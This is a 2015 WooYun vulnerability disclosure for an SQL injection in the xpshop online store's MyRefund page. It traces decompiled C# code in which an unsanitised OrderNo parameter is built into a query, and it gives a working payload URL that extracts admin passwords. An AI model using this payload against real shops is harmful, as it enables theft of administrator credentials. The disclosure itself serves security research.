当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146982

漏洞标题:xpshop网店系统sql注入(官网demo演示)

相关厂商:xpshop

漏洞作者: 不能忍

提交时间:2015-10-23 16:11

修复时间:2015-12-07 16:12

公开时间:2015-12-07 16:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-12-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

漏洞位置:xpshop.webui.MyRefund

protected void Page_Load(object sender, EventArgs e)
{
if (base.CurrentUser == null)
{
string str = "Login.aspx?ReturnUrl=/" + WebUIBase.ShopFolder + "MyRefund.aspx";
base.Response.Redirect("/" + WebUIBase.ShopFolder + str);
}
else
{
if (base.CurrentUser.Name == "anonymous")
{
string str = "index." + this.config.html;
base.Response.Write(base.GetResourceString("MsgPleaseSignInFirst"));
base.Response.Write(Utils.Redirect("/" + WebUIBase.ShopFolder + str));
}
if (!base.IsPostBack)
{
if (base.Request.QueryString["type"] != null && base.Request.QueryString["Action"] != null)
{
string text = base.Request.QueryString["Action"];
if (text != null && text == "GetProducts")
{
this.GetProducts();
}
base.Response.End();
}


跟进函数GetProducts:
private void GetProducts()
{
string orderNo = base.Request.QueryString["OrderNo"];
OrderDB orderDB = new OrderDB();
int orderID = orderDB.GetOrderID(orderNo, base.CurrentUser.MemberID);
string text;
if (orderID == 0)
{
text = "{'OrderExist':'false','Products':[]}";
}
跟进函数GetOrderID:

public int GetOrderID(string orderNo, int memberID)
{
object obj = XpShopDB.ExecuteScalar(XpShopDB.ConnectionString, CommandType.Text, string.Concat(new object[]
{
"SELECT OrderID FROM Orders WHERE OrderNo = '",
orderNo,
"' AND MemberID = ",
memberID
}), null);
return (obj != null) ? ((int)obj) : 0;
}


payload:
/myrefund.aspx?type=1&action=GetProducts&OrderNo=1' union select password from admin--
利用方法,注册这个账户,然后访问上面这个url

漏洞证明:

http://**.**.**.**/myrefund.aspx?type=1&action=GetProducts&OrderNo=1' union select password from admin--

1.jpg

修复方案:

过滤

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝